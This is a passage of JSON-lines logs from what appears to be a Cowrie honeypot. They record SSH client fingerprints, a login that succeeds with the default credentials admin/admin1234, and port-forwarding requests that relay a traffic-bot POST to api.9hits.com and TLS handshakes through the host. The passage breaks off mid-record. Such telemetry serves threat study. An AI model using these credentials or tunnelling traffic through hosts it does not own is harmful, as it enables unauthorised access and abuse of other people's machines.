{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:50.897288Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:51.926304Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.282545Z","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.388394Z","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59972,"dst_ip":"10.17.0.5","dst_port":23,"session":"378f0201dd87","protocol":"telnet","message":"New connection: 94.23.66.112:59972 (10.17.0.5:23) [session: 378f0201dd87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.563610Z"}
{"eventid":"cowrie.session.closed","duration":0.004630088806152344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.568091Z","src_ip":"94.23.66.112","session":"378f0201dd87","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.791239Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VlVfT2d0NUlidTcqZ2Q8cg%3D%3DDVqwNcR%2BS6Mmuu73UVx%2Botr0r%2BmfkEfPe5wq1Rg1NR1ap3mEiryvseLh4b%2FOXZyk0w3SWv4eltsPpDorPC8%2B5AiQdzzC7SrcARvjDfDG0rskNB5DCfTTB%2Be8x8MMNwYE%2BF%2Fu%2FePheRH0MllA%2FuDsGEUeXXBtldyoM6mdwy1kg3kfqoKOhjDujktCs6V59fXP7ya3uCG%2BVZ3siyh%2F%2FRPAXljkbPgx%2BM1wjaFn29fE7O4G%2B8Up%2BfXtwi0JzFvWYtTZln2%2BeHu8S8D55%2FRWh3MU0O1jGkfOV7SYtNgiWEvFe1K8MsviNYdOLbVNywGaNG%2F1WfMB%2Br%2Bo3wC8HCsIyaRjhgNATWxK3H0fphn842iJ6kilxG8XQrAZDStvyo96OlWD4DL7ZhrekMNBPwFipkee3r3X1kvgEUOhdTxE8sVcqU%2BCtfANn0OemgLCUKp0wVCX%2Fi%2Bx4Z9FOdmZYDgeNQlaHOojALVpJ2hrHuK067NkqR8LNYuCdWYhciToyBZF4cOulanNVg7f%2B%2BXrUtqelk7pBWHnnSZJjxLa9BWdY3xk4ApKREPidSkUp3JY5IJXl%2Fxi%2B9ts1YthjWwBU936IquBySPmeSJSVfDH1vASnOS7AXAuLvhN1rv1IcTupWw12brOKQsbknx91xeE75MFJwTW00tC1okGbNyM8bYGQmK2I7r2wiaviBCVzsO0fSgmEhXllEOC0SCYjtQWpXQgkc43sCYFZ7uxt%2ByP7h1IyWKXBNHHZgkIe5sSZp6QD5W0RDp43fUp0Vjj8YmSaY8pfBV5N2WOhzodMMCcZ6aHCboqFq7zDbs%2Fto%2BOMdWjkM1%2BZaWCGJX4qqyNZF1C1OuCqUXkx0l6ZYv%2BPNrr2jSuLuPjfvaJ6O0NAgm9rjpNXZBnzE8XFGjJxZbth%2FP5Fbn%2F3jJjnipxONCrFkaQkt1gBsXnPlCw8DlcLm7jKIhvb%2BOQAxsRH3826GL031EfaNqz%2FYEfCFS7N9gyYxniX293Icqa7WNlRJZJAsP1Wo2dxdbQlyw0VVe6q%2BdkMUm00FMD8C6Dz91lIoIuojF89N8muM1BkNu2VIcmUzLoRlV7yvF2%2BLnz'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.72 Mobile/16F156 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1196\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VlVfT2d0NUlidTcqZ2Q8cg%3D%3DDVqwNcR%2BS6Mmuu73UVx%2Botr0r%2BmfkEfPe5wq1Rg1NR1ap3mEiryvseLh4b%2FOXZyk0w3SWv4eltsPpDorPC8%2B5AiQdzzC7SrcARvjDfDG0rskNB5DCfTTB%2Be8x8MMNwYE%2BF%2Fu%2FePheRH0MllA%2FuDsGEUeXXBtldyoM6mdwy1kg3kfqoKOhjDujktCs6V59fXP7ya3uCG%2BVZ3siyh%2F%2FRPAXljkbPgx%2BM1wjaFn29fE7O4G%2B8Up%2BfXtwi0JzFvWYtTZln2%2BeHu8S8D55%2FRWh3MU0O1jGkfOV7SYtNgiWEvFe1K8MsviNYdOLbVNywGaNG%2F1WfMB%2Br%2Bo3wC8HCsIyaRjhgNATWxK3H0fphn842iJ6kilxG8XQrAZDStvyo96OlWD4DL7ZhrekMNBPwFipkee3r3X1kvgEUOhdTxE8sVcqU%2BCtfANn0OemgLCUKp0wVCX%2Fi%2Bx4Z9FOdmZYDgeNQlaHOojALVpJ2hrHuK067NkqR8LNYuCdWYhciToyBZF4cOulanNVg7f%2B%2BXrUtqelk7pBWHnnSZJjxLa9BWdY3xk4ApKREPidSkUp3JY5IJXl%2Fxi%2B9ts1YthjWwBU936IquBySPmeSJSVfDH1vASnOS7AXAuLvhN1rv1IcTupWw12brOKQsbknx91xeE75MFJwTW00tC1okGbNyM8bYGQmK2I7r2wiaviBCVzsO0fSgmEhXllEOC0SCYjtQWpXQgkc43sCYFZ7uxt%2ByP7h1IyWKXBNHHZgkIe5sSZp6QD5W0RDp43fUp0Vjj8YmSaY8pfBV5N2WOhzodMMCcZ6aHCboqFq7zDbs%2Fto%2BOMdWjkM1%2BZaWCGJX4qqyNZF1C1OuCqUXkx0l6ZYv%2BPNrr2jSuLuPjfvaJ6O0NAgm9rjpNXZBnzE8XFGjJxZbth%2FP5Fbn%2F3jJjnipxONCrFkaQkt1gBsXnPlCw8DlcLm7jKIhvb%2BOQAxsRH3826GL031EfaNqz%2FYEfCFS7N9gyYxniX293Icqa7WNlRJZJAsP1Wo2dxdbQlyw0VVe6q%2BdkMUm00FMD8C6Dz91lIoIuojF89N8muM1BkNu2VIcmUzLoRlV7yvF2%2BLnz'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.793988Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.797154Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\xac\\xa5l\\xcd\\xbclk]]m\\x17\\xb0Mif\\x1d\\xc6\\x06\\xd5\\x90\\x0bk\\xda\\xd3\\xefc;\\xa6J}\\xf7 \\xa4\\xd8,\\xdc\\xeaE\\xe9\\xa1^\\xbbvj\\x8c\\xab\\x87\\x12AD\\xcfa\\x92\\xa5#\"m{\\xe1\\xf1mRm\\x05\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bvt8\\xb6b*?\\xf83U\\xc0\\xb9\\xec!\\xf8\\xc4\\x02N\\xf3\\xd7|4!#\\xab\\xf6*C\\xed\\x15N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\xac\\xa5l\\xcd\\xbclk]]m\\x17\\xb0Mif\\x1d\\xc6\\x06\\xd5\\x90\\x0bk\\xda\\xd3\\xefc;\\xa6J}\\xf7 \\xa4\\xd8,\\xdc\\xeaE\\xe9\\xa1^\\xbbvj\\x8c\\xab\\x87\\x12AD\\xcfa\\x92\\xa5#\"m{\\xe1\\xf1mRm\\x05\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9bvt8\\xb6b*?\\xf83U\\xc0\\xb9\\xec!\\xf8\\xc4\\x02N\\xf3\\xd7|4!#\\xab\\xf6*C\\xed\\x15N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:52.799278Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:53.030431Z","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:53.259363Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]R\\x13\\xd0\\xa0\\x1eG\\x9b)OLM\\xba\\xfet\\x95\\x88He0\\xe0G1\\xe7&\\xc8Ka\\xfa}\\x8e\\xd3 \\xc3\\xd0\\xa2\\xc1^;\"\\x0e\\x19\\xf3\\x82\\x07A}\\xce\\x9c\\xb8\\xc0\\x88\\x96\\xfd\\xa8\\x1b\\xc9u<\\t\\xfe\\xee\\x05y\\xb9\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 A\\xcf\\xa7\\xc3d\\xb8\\'i\\xc2\\x08\\n\\x0c\\x80\\xb7\\xe5\\xf0\\x8er\\x93\\\\o\\xe1O\\xd6\\xa6\\x9b.\\x89N\\x84C{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]R\\x13\\xd0\\xa0\\x1eG\\x9b)OLM\\xba\\xfet\\x95\\x88He0\\xe0G1\\xe7&\\xc8Ka\\xfa}\\x8e\\xd3 \\xc3\\xd0\\xa2\\xc1^;\"\\x0e\\x19\\xf3\\x82\\x07A}\\xce\\x9c\\xb8\\xc0\\x88\\x96\\xfd\\xa8\\x1b\\xc9u<\\t\\xfe\\xee\\x05y\\xb9\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 A\\xcf\\xa7\\xc3d\\xb8\\'i\\xc2\\x08\\n\\x0c\\x80\\xb7\\xe5\\xf0\\x8er\\x93\\\\o\\xe1O\\xd6\\xa6\\x9b.\\x89N\\x84C{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:53.262640Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:53.613788Z","src_ip":"123.27.168.40","session":"bbc52f5e71ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53681,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a94b287c83c","protocol":"ssh","message":"New connection: 113.164.152.20:53681 (10.17.0.5:22) [session: 3a94b287c83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:54.754470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:54.758521Z","src_ip":"113.164.152.20","session":"3a94b287c83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","dif